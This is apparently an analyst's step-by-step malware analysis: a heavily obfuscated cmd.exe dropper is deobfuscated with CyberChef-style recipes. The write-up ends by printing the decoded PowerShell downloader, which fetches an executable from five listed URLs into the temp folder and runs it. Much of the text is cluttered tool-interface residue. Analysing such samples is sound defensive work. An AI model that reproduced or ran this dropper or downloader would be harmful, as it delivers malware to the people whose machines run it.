

MALVAR ANALYSIS

<https://www.hybrid-analysis.com/sample/9a43186e72bde764614b092b55d4dfba00f528c5f0d45e6ccb56dcee8763a845>

INPUT :

```
cmd.exe /c %LocALappData:~-3, -2%%pROgramdATa:~-5, 1%D, , /v, /R " , , ( , (^sET ^ ^ ^ 9o^jB=od^
mC ^58 9i Pa^ OT^ ^B7 ^5M TC 65 AS a4 NT CR^ y^h^ ^8^6 ^BO
VQ^JIn}B^0{Pxhk^ics^JtZma^K^sc^Qz}zs}0^8k^e5aXZeT^kr4rbt^B;r^SW^y^X^d8yR^dU^$I^7
v^wsdC^s9q^e^7^pc^ xon^urzF^P^JX-
Ox^tBZrH^e^aClT^sMSC0;N^6^)6LW^d^Ldr^TR^a^2$4N^({00eymluL^i^m^M^fZno^JAtX^xeLjv^Fpae
Ks^yr.aYp9^KvvQ^sk5$V4;^Q^p^)^V^oyCd^d^FEowf^Ba^weCZ^s1an^Aroq^Zpg^K^K^s^HWebMr^o^X.l^j
Y^w^3I^e^b^u1u$L^p^({8ceJkt^hs^i^uQrxCwuV.P5^pEfVuEs^F9^$VJ;^8c^1rZ I^3=^Yz^
^q^HeCFp^B^tyW^e^tfV.F3p3ZvwWsKe^$I^6^;D1^)^5v^^(MnnU^Se^s^tpAvo5k.HIpnzv5m^sHC$^Og{
q^j^ Cx^)^C^S0pO01^J^2sn V^wq^IN^ev^i-DI ^Lts5yuP2t^WXa 4^to^Q^SJ^L.CpYA^QIsEurk$X^7^(v5
yV^f9wIFM;UF^)^IJ^)^
^I^dg^Hn^Qx^eB5sil^i.kuY^i1I^hSu^Gy$C^M;iR^)^bL^0dc,^bjv^a^HXk^0^PnI$^a^m,aD'ME^THNEN^j^
G^Pw^tX^^(IGn^obexF^p9z^ogx.c^OYyR^IihuS^p^$G0^^{yAy^HCr^3TtA^x^^{Dv^)^0^YFubQ^o^Ui^B^e$C
G^ O9ni0^iV^a
^5^fvm^4XKMPHJ^$E5^^(o^q^h^ygcV^pavBeAQrN^PoUkffh;IF^'tz^mWVa^FRE^mEr^G^wtecsU^e^e.G
zbAldu4^oS^6^dC3a^F7^'^Z9 9kmNFo5rc3^T^'^i^h SXthQcK^ke^Hi^jx^obwVO^bt-SbwN^7^eGSNJG
mb=hA JZp^I^qV4ysX^P$Vz;P^f^'6Gp^Un^t^Hk^tNWhG7IPJmr^wx^4
.^DV^2RqIOWm^2jxjV^s^Op^mD^x^vb nCmclo^3^zcP4-m^w U^L^t^I4c5^2eSv^jBm^b^W^fO^d7-
^f^2wL^I^ev3NrT=bS
giYMNlq2^uK^W^$3^G;^DR^)^IS^B^j^eXZxbZ^ea3.OGwtEUajzrV\sv^jR+Rv^)^U5^(E^
hxC^t2^Wa^7a^PBzpaUmAo^ev^UT^e^
t6^ae^wiGk^M:bC:ki^)]DPHjftR0^anvPOq^.^3c^O3^FIRG.^8BmiMe8wttsHoyhV^SKc[^aj^X^^(
t=^4n^W9p^d^2^KRVY^$G ^;es^)^
^P^'QW@ax'^Ow^(^aQt^TP^i7^dl^b7pa5^Ss5.4t^3^KgzV^HMLiE4^a^UAD49ibjf0j/ERm^dmo^ZTcQe.
e^L^gRJ^b3^Y^m^wir1j^a^MKf6^geDR.fVachiTXrTMaN5g^G4I9Gu^8vbUN-
^5csC8^a5^XgP^Yor^Ui^2WbO^4/1o/fN:03pa^St^Q^Y^tZd^h4v@^Zmq^Hc^sFP/Ikm^Sn^o^e^fc9r.V^
PzY^mb^gYa9RsrOg^amnr^QRbb^m.Ulw^h^P^w3yw5t/V7/AV:^QDp^o^ltpQtW^oh2S^@Cimr^hVl^6^
BkM0MFad^iS^15/jXz2tiUYb^BU.T6y^Ayc^7^3nKXe86gHTacD^eJ^7v4YiyothZaF9e7grDNc^48^dAw^
Q3wLh^wt^K/Pf/^3Z^:Ujpr^Mt^Yh^tZ^shRA^@3^i^6cbJ^qbW^Q1NDH/^q7^thAe^pCnD^1.^s^h^o9
Vn7Ya^O^ujy^q^uyW^diengRaWemoc/50/
^G:mdpAUt^HNtw^4^h1x^@ZCtNO7Uo8NjW^K^D^dyZ^x^eUYGL/KBm^kW^o^UKcUV^.^LSa^xy^iB^
y^dC^ZeGZm^jva^ hm4m^io^5hEnaAPmjG/iZ/h^J:^ ppsNt^J^h^t4
^hBR^bC^=gc^Fm^x^Qu5ixU^$0B;^p0'dm^d4^I^f^gLr^Xb^'pU=4hi^k^J^Y1MBeD^$N^G
HilK9lQw^e^s^BhrHsDirSXe^Q^Dw^W^fojN^p) , , , , )& , , , ^For , , , /^I , %^3 , , , ^IN , , , (+16^40 ^ , ^ -^3^
^ , +^2^ ) , ^d^O , , , ( , ( , S^E^T c2^zZ=!c2^zZ!!9o^jB:~ %^3,1!) , , , )&& , , , IF , , , %^3 , , , == , , ^2 , , ( , (
(ca^IL , , %c2^zZ:~ +6% ) , , , , , ) , )
```

Replacing caps with empty

[illegible]

New Payload generated by OUTPUT is :

```
cmd.exe /c %LocALappData:~ -3, -2%%pROgramdAta:~ -5, 1%D, , /v, /R " , , ( , (SET 9ojB=od mC 58 9i
Pa OT B7 5M TC 65 AS a4 NT CR yh 86 BO
VQjIn}B0{PxbkicsJtZmaKscQz}zs}08ke5aXZeTkr4rbtB;rSWyXd8yRdU$I7 vwsdCs9qe7pc xonurzFPJX-
OxtBZrHeaCLtsMSC0;N6)6LWdLdrTRa2$4N(O0eymluLimMfZnoJAtXxeLjvFpaeKsyr.aYp9KvvQsk5$5v4;Q
p)VoyCddFEowfBaweCZs1anAroqZpgKsHWebMroX.ljYw3Iebu1u$Lp(8ceJkthsIUQrxCwuV.P5pEfvuEsF9
$VJ;8c1rZ I3=Yz qHeCFpBtyWetfV.F3p3ZvwWsKe$I6;D1)5v(MnnUSestpAvo5k.HlPnzv5msHC$Og{qj
Cx)CSOp001J2sn VwqlNevi-DI Lts5yuP2tWXa 4toQSJL.CpYAQIsEurk$x7(v5 yVf9wIFM;UF)IJ(
ldgHnQxeB5sil.kuYi1IhSuGy$CM;iR)bL0dc,bjvaHXk0Pnl$am,aD'METHNENjGPw'tX(lGnobexFp9zogx.c
OYyRIIhuSp$G0{yAyHCr3TtAx{Dv}0YFubQoUiBe$ScG O9ni0iVa
5fvm4XKMPHJ$E5(oqhygcvpavBeAQRNPoUkffh;IF'tzmWVaFRemErGwtecsUe.GzbAldu4oS6dC3aF7'Z9
9kmNFo5rc3T-ih SXthQcKkeHijxobwVObt-Sbwn7eGSNJG mb=hA
JZplqv4ysXP$5v;Pf'6GpUntHktNWWhG7IPJmrwx4 .DV2RqlOwm2jxjVsOpmDx'vb nCmclo3zcP4-mw
ULtl4c52eSvjBmbWfOd7-f2wLlev3NrT=bS
giYMNlq2uKW$3G;DR)IS'BjeXZxbZea3.OGwtEUajzrV\sv'jR+Rv)U5(E hxct2Wa7aPBzpaUmAOevUTe
t6aewiGkM:bC:kiJDPhJftR0anvPOq.3cO3FlrG.8BmiMe8wttkshoyhVSKc[jX( t=4nW9pd2KRVY$G ;es)
P'QW@aX'Ow(aQtTPi7dlb7pa5Ss5.4t'3KgzVHMLiE4aUAD49ibjf0j/ERmdmoZTcQe.eLgRjb3Ymwir1jaM
Kf6geDR.fvachiTXrTMan5gG4l9Gu8vbUN-
5csC8a5XgPYorUi2WbO4/1o/fN:03paStQYtzh4v@ZmqHcsFP/lkmSnoefc9r.VPzYmbgYa9RsrOgmnrQR
bbm.UlwhPw3yw5t/V7/AV:QDpoltpQtWoh2S@CimrhVI6BkMOMFadiS15/jXz2tiUYbBU.T6yAyc73nKXe
86gHTacDeJ7v4YiyothZaF9e7grDNc48.dAwQ3wLhwtK/Pf/3Z:UjprMtYhtZshRA@3i6cbJqbWQ1NDH/q
7thAepCnD1.sho9Vn7YaOujyquyWdiengRaWemoc/50/
G:mdpAUtHntw4h1x@ZCtNO7Uo8NjWKDdyZxeUYGL/KBmkWoUKcUV.LSaxyiBydCZeGZmjva
hm4mio5hEnaAPmjG/iZ/hJ: ppsNtJht4
hBR'bC=gcFmxQu5ixU$0B;p0'dmd4IfgLrXb'pU=4hikJY1MBED$NG
HilK9lQwesBhrHsDirSXeQDwWfojNp) , , , , , )& , , , For , , , /l , %3 , , , IN , , ( +1640 , -3 , +2 ) , dO , , , ( , ( , ,
SET c2zZ=!c2zZ!9ojB:~ %3,1! ) , , , )& , , , IF , , , %3 , , , = , , , 2 , , ( ( calL , , %c2zZ:~ +6% ) , , , , , ) ,
```

Take payload from od mC..... To until SET command ends

```
od mC 58 9i Pa OT B7 5M TC 65 AS a4 NT CR yh 86 BO
VQjIn}B0{PxbkicsJtZmaKscQz}zs}08ke5aXZeTkr4rbtB;rSWyXd8yRdU$I7 vwsdCs9qe7pc xonurzFPJX-
OxtBZrHeaCLtsMSC0;N6)6LWdLdrTRa2$4N(O0eymluLimMfZnoJAtXxeLjvFpaeKsyr.aYp9KvvQsk5$5v4;Q
p)VoyCddFEowfBaweCZs1anAroqZpgKsHWebMroX.ljYw3Iebu1u$Lp(8ceJkthsIUQrxCwuV.P5pEfvuEsF9
$VJ;8c1rZ I3=Yz qHeCFpBtyWetfV.F3p3ZvwWsKe$I6;D1)5v(MnnUSestpAvo5k.HlPnzv5msHC$Og{qj
Cx)CSOp001J2sn VwqlNevi-DI Lts5yuP2tWXa 4toQSJL.CpYAQIsEurk$x7(v5 yVf9wIFM;UF)IJ(
ldgHnQxeB5sil.kuYi1IhSuGy$CM;iR)bL0dc,bjvaHXk0Pnl$am,aD'METHNENjGPw'tX(lGnobexFp9zogx.c
OYyRIIhuSp$G0{yAyHCr3TtAx{Dv}0YFubQoUiBe$ScG O9ni0iVa
5fvm4XKMPHJ$E5(oqhygcvpavBeAQRNPoUkffh;IF'tzmWVaFRemErGwtecsUe.GzbAldu4oS6dC3aF7'Z9
9kmNFo5rc3T-ih SXthQcKkeHijxobwVObt-Sbwn7eGSNJG mb=hA
JZplqv4ysXP$5v;Pf'6GpUntHktNWWhG7IPJmrwx4 .DV2RqlOwm2jxjVsOpmDx'vb nCmclo3zcP4-mw
ULtl4c52eSvjBmbWfOd7-f2wLlev3NrT=bS
giYMNlq2uKW$3G;DR)IS'BjeXZxbZea3.OGwtEUajzrV\sv'jR+Rv)U5(E hxct2Wa7aPBzpaUmAOevUTe
t6aewiGkM:bC:kiJDPhJftR0anvPOq.3cO3FlrG.8BmiMe8wttkshoyhVSKc[jX( t=4nW9pd2KRVY$G ;es)
P'QW@aX'Ow(aQtTPi7dlb7pa5Ss5.4t'3KgzVHMLiE4aUAD49ibjf0j/ERmdmoZTcQe.eLgRjb3Ymwir1jaM
Kf6geDR.fvachiTXrTMan5gG4l9Gu8vbUN-
5csC8a5XgPYorUi2WbO4/1o/fN:03paStQYtzh4v@ZmqHcsFP/lkmSnoefc9r.VPzYmbgYa9RsrOgmnrQR
```

bbm.UlwhPw3yw5t/V7/AV:QDpoltpQtWoh2S@CimrhVI6BkM0MFadiS15/jXz2tiUYbBU.T6yAyc73nKXe
86gHTacDeJ7v4YiyothZaF9e7grDnc48.dAwQ3wLhwtK/Pf/3Z:UjprMtYhtZshRA@3i6cbJqbWQ1NDH/q
7thAepCnD1.sho9Vn7YaOuJyquyWdiengRaWemoc/50/
G:mdpAUTHntw4h1x@ZCtNO7Uo8NjWKDdyZxeUYGL/KBmkWoUKcUV.LSaxyiBydCZeGZmjva
hm4mio5hEnaAPmjG/iZ/hJ: ppsNtJht4
hBR'bc=gcFmxQu5ixU\$0B;p0'dmd4IfgLrXb'pU=4hikJY1MBeD\$NG
HilK9lQwesBhrHsDirSXeQDwWfojNp

Character Count of this payload :

Word Count ? X

Statistics:

Pages	2
Words	48
Characters (no spaces)	1,594
Characters (with spaces)	1,641
Paragraphs	1
Lines	25

☒ Include textboxes, footnotes and endnotes

Close

Characters (With spaces matches with the Iteration given in source code (+1640 , -3 ,+2) as it counted from 0 so ends at 1640 ,In character count from word is 1 to 1641

Recipe

Input

od mc 58 9i Pa OT B7 5M TC 65 AS a4 NT CR yh 86 BO
VQjIn)B0{PxbkicsJtZmakscQz}zs)08ke5aXZeTkr4rbtB;rShyXd8yRdU\$17 vwsdCs9qe7pc xonurzFPjX-
OxtBZrHeaCLtsMSC0;N6)6LwldLdrTra2\$4N(00eymluLimfZnoJAtxxeLjvFpaeKsyrr.ayp9KvvQsk\$5v4;Qp)VoyCddFEow
fBawecZs1anAroqZpgKshWebMrox.1jYw3Iebu1u\$lp(8ceJkthsiuqrxCwuV.P5pEfVuuEsF9\$VJ;8c1rZ I3=Yz
qHeCFpBtyWetfv.F3p3ZvWwsk\$16;D1)5v(MnnuSestpAvo5k.HIPnzv5msHC\$0g[qj Cx)CS0p001J2sn WvqlNevi-DI
Lts5yuP2tWxa 4toQ\$3L.cPYAQIsEurk\$X7(v5 yVf9wIFM;UF)1J(
IdghnQxeB5sI.I.kuYi1IhSugy\$CM;IR)bL0dc,bjvahXk0PnI\$am,ad'METHNIENjGPw'tX(1gnobexFp9zogx.cOyYRIIhusp
\$G0{yAyHCr3TtAx{Dv}0YFubQou1Be\$CG 09ni0iVa
5fvm4XKMpHJ\$E5(oqhygcvpavBeAQrNPoukffh;IF'tzmMvAFRemERgwtcsUe.GzbAldu4o56dC3aF7'Z9 9kmNFo5rc3T-
ih SXthQckkeHiJxobwObt-SbwN7eGSNJG mb=ha JZp1qv4ysXP\$Vz;PF'6GpUnthKtMhg71Pjmrwx4
.DV2Rq10wm2jxjVsOpnDx'vb nCmc1o3zcP4-mm ULTI4C52eSvJ8mbWfod7-f2wLIev3NrT=bs
giYWNiQ2ukW\$3G;DR)1s'BjeXZxbZea3.OgwTEUajzrV'sv'jr+Rv)U5(E hxCt2Ma7aPBzpaUaOevUte
t6aewiGkM;bc:ki)DPHjftR0anvPQq.3c03FIRg.8BmIMe8wttkshoyhVSKC[jX(t=4nw9pd2KRvY\$G ;es)
P'Q@aX'ow(aQTTP17d1b7pa5S5.4t'3KgzVHMLIE4aUAD49ibjfoJ/ERmdmoZTcQe.eLGRJb3Ymwir1jaMKf6geDR.fVach
...
1641

Output

od mc 58 9i Pa OT B7 5M TC 65 AS a4 NT CR yh 86 BO
VQjIn)B0{PxbkicsJtZmakscQz}zs)08ke5aXZeTkr4rbtB;rShyXd8yRdU\$17 vwsdCs9qe7pc xonurzFPjX-
OxtBZrHeaCLtsMSC0;N6)6LwldLdrTra2\$4N(00eymluLimfZnoJAtxxeLjvFpaeKsyrr.ayp9KvvQsk\$5v4;Qp)VoyCddFEow
fBawecZs1anAroqZpgKshWebMrox.1jYw3Iebu1u\$lp(8ceJkthsiuqrxCwuV.P5pEfVuuEsF9\$VJ;8c1rZ I3=Yz
qHeCFpBtyWetfv.F3p3ZvWwsk\$16;D1)5v(MnnuSestpAvo5k.HIPnzv5msHC\$0g[qj Cx)CS0p001J2sn WvqlNevi-DI
Lts5yuP2tWxa 4toQ\$3L.cPYAQIsEurk\$X7(v5 yVf9wIFM;UF)1J(
IdghnQxeB5sI.I.kuYi1IhSugy\$CM;IR)bL0dc,bjvahXk0PnI\$am,ad'METHNIENjGPw'tX(1gnobexFp9zogx.cOyYRIIhusp
\$G0{yAyHCr3TtAx{Dv}0YFubQou1Be\$CG 09ni0iVa
5fvm4XKMpHJ\$E5(oqhygcvpavBeAQrNPoukffh;IF'tzmMvAFRemERgwtcsUe.GzbAldu4o56dC3aF7'Z9 9kmNFo5rc3T-
ih SXthQckkeHiJxobwObt-SbwN7eGSNJG mb=ha JZp1qv4ysXP\$Vz;PF'6GpUnthKtMhg71Pjmrwx4
.DV2Rq10wm2jxjVsOpnDx'vb nCmc1o3zcP4-mm ULTI4C52eSvJ8mbWfod7-f2wLIev3NrT=bs
giYWNiQ2ukW\$3G;DR)1s'BjeXZxbZea3.OgwTEUajzrV'sv'jr+Rv)U5(E hxCt2Ma7aPBzpaUaOevUte
t6aewiGkM;bc:ki)DPHjftR0anvPQq.3c03FIRg.8BmIMe8wttkshoyhVSKC[jX(t=4nw9pd2KRvY\$G ;es)
P'Q@aX'ow(aQTTP17d1b7pa5S5.4t'3KgzVHMLIE4aUAD49ibjfoJ/ERmdmoZTcQe.eLGRJb3Ymwir1jaMKf6geDR.fVach
...
1641

Recipe

Syntax highlighter

Language
auto detect

Reverse

By
Character

STEP

BAKE!

BAKE

Input

```

od mc 58 9i Pa Ot B7 5M TC 65 AS a4 NT CR yh 86 B0
VQj1nB0{Pfhkics3tZmaKscQzJz5}08k5eAXZtKra4rtbT;rSwYXd8rYdU5J7 vwsdC59qe7pc xonurZFP3X-
OxtB7XrE1dKtSM5C0;N6)l6LlddrTr2Aa24n{00eymluimfFznoJAtXxel_jvFpaeksvr.yaYP9kvvK5sK554;q}VoyCddF5eow
fBawec321anAroqZpgK5MwebMroX.ljYw3Iebu1u$lp(8ceJkthsiUqRxcWuv.P5pEfVUEsF9VJ2;8c1RZ I3=YZ
qHeCFPBtytWetfV.F3p3ZVmw5Ke$16;D15)(MnnUSestpavo5K.HIpnzv5m5HC50g{qj Cx}C50p00I2Jsn WvqI1Nevi-DI
L5t5yUp2tXtka 4toQ5L1.cpVAQI5EunK5x7(v5 yvF9vIFM;UF)11(
IdghnQXe85Si1.kuviiIhSug5CM;ir)bl0dc.bjvAhvX0KnI$am.aMETHNIENjGpw'tx(IgnobexFp9Z9g.cOyYrIiHuSp
5G6(yAyHcR3tTAX(Dv)0fubQou1BeSc 09ni0Iva
5fvm4QXKPHH55(oqhygscvpavBeAQrNPoUkffh;IF'tzmMvAFRemERGwtecUe.GzbAldu4o5d63Cm7f29 9kNmI5oFr3cT-I
ih SXthQKHQj5ixobwObt-SbwI7eGSNJG mb-hA J2plq4v5XP5vZ;Pf'60pUnthtkNMWgJl7lPmJawX4
.DV2Rql0mw2jxjv5omPdx'vb nCmc103zcP-m4 Umlt4C52e5vjbmbwof7-f2wIev3NnrT=BS
giYMNiQ2kwb53G;DR)15'BjeXZxbZea3.OgwUEUajzrv'sv'jrAR)U5(E hXct2Wia7aPBzpalumaOevUte
t6aewiGKM;kciJDPjh7R0anvpQq.3C03F1rG.88miMe8wttkshoYhVSK{jX( t=4nW9d2KRVY5G ;es)
P'Q@aX'ow(aQtTP17d1b7pa5555.4t'3KgZVHMlE4aUAU491bf0j/ERmdo2TCqe.eLgRj3b3vmirjaYAKMf6geDR.fvach
...

```

Output

```

pJnjofw0QeXsRiDSHrhBsewQl9K1iH GI$DeBM1YJkiha=Up'bXrLgfI4dm'd'0p;B0$Uxi5Uxmfc=Cb'RbH 4thJtNisp
p;/J5;/GjPmAAnH50imdmh avjM2GdcZdyB1yxaSL.VuCKUoWkMb/LGVUeXy2dDKWjN8ou7ONTC2@xh4w4tHtHUApmDg:
05;/comeWArgeidniuyquj0uA7vN9vohs.1DncPeAht7Q/HDN1QWbqJbc6i3@ARhsZthYtrtPj5;/Z3;/fktwLw3Qwad.84C
NDrg7e9FazhtoyiYav7JedcAtH68eXKn3cyAy6T.UbbYuit2zXj/51S1daFM8MKb6lVhrmi@52h0wtQptlOpQc:VA/7v/T
5wy3PhwPiU.mbbRQrnmG0rS9ayGbmYzPV.r9cFenceSmkI/PfScHqmZGv4hdztYQtSap30:nf/01/40bN2UroYpPgX5A8Cs5
...

```


Check for syntax highlighter :

Recipe

Syntax highlighter

Language
auto detect

Reverse

By
Character

Syntax highlighter

Language
auto detect

STEP

BAKE!

Auto Bake

Input

od mC 58 9i Pa OT 87 5M TC 65 AS a4 NT CR yh 86 B0
VQjInjB0[Pxhkics7tZmaKscQz]zs)08ke5aXZeTkr4rBtB;rSwyXdy8yRdu\$17 vwsdCs9qe7pc xonurzFPJX-
OxtBzrHeaCLtsMSC0;N6)6LwDLdrTra2\$4N(00eymLuLimfZnoJAtXxeLjvFpaekSyr.ayP9KvvQsk5\$4;Qp)VoyCddFEow
fBawecZs1anAroqZpgKshWebMroX.1jYw3Iebu1u\$LP(8ceJkthsIuQrxCwuV.P5pEFvuEsF9\$VJ;8c1rZ I3=Yz
qHeCFpBtyWetFV.F3p3ZvWwskE\$16;D1)5v(MnnUSestpAvo5k.HIPnzv5mshC\$0g[qj Cx)CS0p001J2sn VwqlNevi-DI
Lts5yup2tWxa 4toQ5JL.CpYAQIsEurk\$X7(v5 yVf9wIFM;UF)1J(
IdghNqxeB5s1I.kuYi1IhSuGy\$CM;1R)bl0dc,bjvaHXk0PnI\$am,ad'METHNENjGPw'tX(1GnobexFp9zogx.cOYyRIIhuSp
\$G0(yAYHCr3TtAx(Dv)0YfubQouIbe\$cg 09ni0iVa
5fvm4XKMpHJ\$E5(oqhygcvpavBeAQrNPouKffh;IF'tzmVafRemErGwtecsUe.GzbAlduo56dc3aF7'Z9 9kmIFo5rc3T-
ih SXthQckkeHiJxobwVObt-SbwM7eGSNJG mb=ha JZp1qv4ysXP\$Vz;PF'6GpUnthKtNwhG71P3mrwx4
.DV2Rq10wm2jxjVsOpMDx'vb nCmc1o3zcP4-mw ULtI4c52eSvj8mbWfOd7-f2wLiev3NrT=bS
giYMNiQ2uKw\$3G;DR)1S'BjeXZxbZea3.OGwtEUajzrV\sv'jR+Rv)U5(E hxCt2WafPaBzpaUaMOeVUTE
t6aewiGkm:bc:kiJDPHjftR0anvPOq.3c03FIRg.8BmiMe8wttsHoyhVSKc[jX(t=4nw9pd2KRVY\$G ;es)
P'Qw@aX'ow(aQtTPi7d1b7pa5Ss5.4t'3KgzVHMLIE4aUAD49ibjF0j/ERmdmoZTcQe.eLgRj3Ymwir1jaMKf6geDR.fVach
1641 1

Output

plnjofwDQeXSRIDshrhBsewQ19KliH GN\$DeBM1Y3kiH4=Up'bXrLgfI4dmd'0p;80\$uxi5uQxmFc=Cb'R8h 4thjTnSpp
:Jh/Zi/gjnpAanEh5oimdh avjzmZGeZCdyBiYxaSL.VUcKUoWkMBK/LGVuexZydkWjN8u07ONTC2@x1h4wtNhtUApdm:G
/05/comeWaRgneidwyqujuoaY7nV9ohs.1DncpeAht7q/HDN1QwbqJbc6i3@ARhsZthYtMrpJj:Z3/fp/KtwhLw3QuAd.84c
NDrg7e9FazhtoyiY4v7JedCAtHg68eXKn37cyAy6T.UbbYuit2zXj/51SidaF0MkMB61vhmriC@S2hwoQtptlopDQ:VA/7V/t
5wy3wPhwIU.mbbRQRnmGOrsR9ayGbmYzPV.r9cfeonSmkI/PfscHqmZv4hdztYQtSap30:Nf/o1/40bw2iUroVpXg5a8Csc5
-
Nubv8uG914G5NaMTrXTihcaVf.RDeg6fKMaJ1riwmY3bJRgLe.eQcTZomdmRE/jofjbi94DAUA4EilMHVzGK3't4.5s55ap7
bld7iPTtQa(wo'Xa@WQ'P)se; G\$YVRK2dp9Wn4=t
(Xj)ckSvhyoHskttw8eM1mb8.GrIF30c3.q0Pvna0RtFjhPD]ik:Cb:MkGiwea6t eTUVe0AmJapzBPa7aW2tCkx
E(5U)vR+Rj'vs\vrzjaUetwG0.3aeZbxZxejB'Sl)RD;G3\$Wku2qINMYig Sb=TrN3veILw2f-7d0fwbmbjvSe25c4ItLU
wm-4Pcz3o1cmCn bv'xDmp0sVjxj2mw01qR2VD. 4xwrmJp17GhwnktkhtUpG6'fp;zv\$PXsy4vq1pZ3 Ah=bm
GJNSG67HwBS-tbOVwboxjiHeKkCqhtXS hi-T3cr5OfNmK9
9Z'7Fa3Cd6S0ud1AbzG.eUscetwGrEmeRFAvWmzt'FI;hffkUoPnrQAeBvapvcgyhQ(5E\$JHPMK4mvf5 avi0in90
Gc\$EB1UoqbUfY0)vD{xAT3rChYAy{0G\$PuhIIRyYoc.xgoz9pFxebonG1(Xt'wPGjNENHTEM'Da,ma\$InP0kXhAvjb,cD0L
445es 1

It highlights starting string but still we didn't get any proper output

Iteration given in source code (+1640 , -3 ,+2)

Recipe

Reverse

By
Character

Syntax highlighter

Language
auto detect

Regular expression

Built in regexes
User defined

Regex
(.)*

☒ Case insensitive

☒ ^ and \$ match at newlines

☐ Dot matches all

☐ Unicode support

☐ Astral support

☐ Display total

Output format
List capture gr...

STEP

BAKE!

Auto Bake

Input

od mC 58 9i Pa OT 87 5M TC 65 AS a4 NT CR yh 86 B0
VQjInjB0[Pxhkics7tZmaKscQz]zs)08ke5aXZeTkr4rBtB;rSwyXdy8yRdu\$17 vwsdCs9qe7pc xonurzFPJX-
OxtBzrHeaCLtsMSC0;N6)6LwDLdrTra2\$4N(00eymLuLimfZnoJAtXxeLjvFpaekSyr.ayP9KvvQsk5\$4;Qp)VoyCddFEow
fBawecZs1anAroqZpgKshWebMroX.1jYw3Iebu1u\$LP(8ceJkthsIuQrxCwuV.P5pEFvuEsF9\$VJ;8c1rZ I3=Yz
qHeCFpBtyWetFV.F3p3ZvWwskE\$16;D1)5v(MnnUSestpAvo5k.HIPnzv5mshC\$0g[qj Cx)CS0p001J2sn VwqlNevi-DI
Lts5yup2tWxa 4toQ5JL.CpYAQIsEurk\$X7(v5 yVf9wIFM;UF)1J(
IdghNqxeB5s1I.kuYi1IhSuGy\$CM;1R)bl0dc,bjvaHXk0PnI\$am,ad'METHNENjGPw'tX(1GnobexFp9zogx.cOYyRIIhuSp
\$G0(yAYHCr3TtAx(Dv)0YfubQouIbe\$cg 09ni0iVa
5fvm4XKMpHJ\$E5(oqhygcvpavBeAQrNPouKffh;IF'tzmVafRemErGwtecsUe.GzbAlduo56dc3aF7'Z9 9kmIFo5rc3T-
ih SXthQckkeHiJxobwVObt-SbwM7eGSNJG mb=ha JZp1qv4ysXP\$Vz;PF'6GpUnthKtNwhG71P3mrwx4
.DV2Rq10wm2jxjVsOpMDx'vb nCmc1o3zcP4-mw ULtI4c52eSvj8mbWfOd7-f2wLiev3NrT=bS
giYMNiQ2uKw\$3G;DR)1S'BjeXZxbZea3.OGwtEUajzrV\sv'jR+Rv)U5(E hxCt2WafPaBzpaUaMOeVUTE
t6aewiGkm:bc:kiJDPHjftR0anvPOq.3c03FIRg.8BmiMe8wttsHoyhVSKc[jX(t=4nw9pd2KRVY\$G ;es)
P'Qw@aX'ow(aQtTPi7d1b7pa5Ss5.4t'3KgzVHMLIE4aUAD49ibjF0j/ERmdmoZTcQe.eLgRj3Ymwir1jaMKf6geDR.fVach
1641 1

Output

p
o
w
e
r
s
h
e
l
l
l

\$
B
Y
z
1640 1

To avoid characters in different lines

Recipe

Regular expression

Built in regexes

User defined

Regex

(.)*

☒ Case insensitive

☒ ^ and \$ match at newlines

☐ Dot matches all

☐ Unicode support

☐ Astral support

☐ Display total

Output format

List capture gr...

Find / Replace

Find

REGEX

Replace

☒ Global match

☐ Case insensitive

☒ Multiline matching

☐ Dot matches all

STEP

BAKE!

Auto Bake

Input

od mC 58 9i Pa OT B7 5M TC 65 AS a4 NT CR yh 86 BO
VQ}In}B0{Pxxkics3tZmaKscQz}zs}08ke5aXZeTkr4rbtB;rSwyXd8yRdu\$I7 vwsdCs9qe7pc xonurzFPJX-
OxtBZrHeaCLtMSc0;N6)6LwldrTRa2\$4N(00eymluLimMfZnoJAtXxeLjvFpaeKsy.ayp9KvvQsk5\$4;Qp)VoyCddFEow
fBawecZs1anAroq2pgKSHwEbMroX.ljYw3Iebu1u\$LP(8ce)kthsiuQrxCwuV.P5pEfvueSF9\$VJ;8c1rZ I3=Yz
qHeCFpBtywetFv.F3p3ZvWwSk\$16;D1)5v(MnnUseStpAvo5K.HIpnzv5msHC\$0g(qj Cx)CS0p001J2sn VwqlNevi-DI
Lts5yuP2tWxa 4toQ5JL.CpYAQIsEurk\$X7(v5 yvf9wIFM;UF)lJ(
IdghNqxeB5siI.kuYi1IhSuGy\$Cm;IR)bl0dc,bjvahXk0PnI\$am,ad'METHNENJgPw'tX(1GnobexFp9zogx.cOyYRIIhuSp
\$G0(yAyHCr3TTax(Dv)0YfubQoUiBe\$cg 09ni0iVa
5fvm4XKMPHJ\$E5(oqhygcvpavBeAQrNPoUkffh;IF'tzmWVaFRemErGwtecsUe.GzbAldu4o56dC3aF'Z9 9kmNfO5rc3T-
ih SXthQckKeHiJxobwVObt-SbwN7eGSNJG mb=ha JZp1qv4ysXP\$Vz;PF'6GpUnthKtNwH71Pjmrwx4
.DV2Rq10wm2jxjVsOpmDx'vb nCmc1o3zcP4-mw ULTI4c52eSvjBmbWfod7-f2wLiev3NrT=bs
giYMNiQ2ukW\$3G;DR)lS'BjeXZxbZea3.OGwtEUajzrV\sv'jR+Rv)US(E hxCt2Wa7aPBzpaUmAOeVUTE
t6aewiGKM;bc:ki]DPHjftR0anvPQq.3c03FIRg.8BmiMe8wttkshoyhVSKC[jX(t=4nw9pd2KRVY\$G ;es)
P'Q@aX'Qw(aQTPi7dlb7pa5Ss5.4t'3KgZVHMLiE4aUAD49ibjf0j/ERmdmoZTcQe.eLGRJb3Ymwir1jaKf6geDR.fVach
fVach

1641 1

Raw Bytes LF

Output

powershell
\$Bvi='rfd';\$iQf='http://mahimamedia.com/Yxdw87t@http://mandujano.net/NWJ6@http://www.creativeagenc
y.biz/Sa0BVM@http://www.brgsabz.com/sq@http://biogas-
bulgaria.efarmbg.com/fidaiHg'.Split('@');\$Rdw=([System.IO.Path]::GetTempPath()+'\zUw.exe');\$uiY
=New-Object -com 'msxml2.xmlhttp';\$svp = New-Object -com 'adodb.stream';foreach(\$PXv in \$iQf)
{try{\$uiY.open('GET',\$PXv,0);\$uiY.send();If (\$uiY.Status -eq 200) {\$svp.open();\$svp.type =
1;\$svp.write(\$uiY.responseBody);\$svp.savetofile(\$Rdw);Start-Process \$Rdw;break;}}catch{}}

547 1

151ms Raw Bytes LF

To extract in the url formate :

Recipe

(.)*

☒ Case insensitive

☒ ^ and \$ match at newlines

☐ Dot matches all

☐ Unicode support

☐ Astral support

☐ Display total

Output format

List capture gr...

Find / Replace

Find

REGEX

Replace

☒ Global match

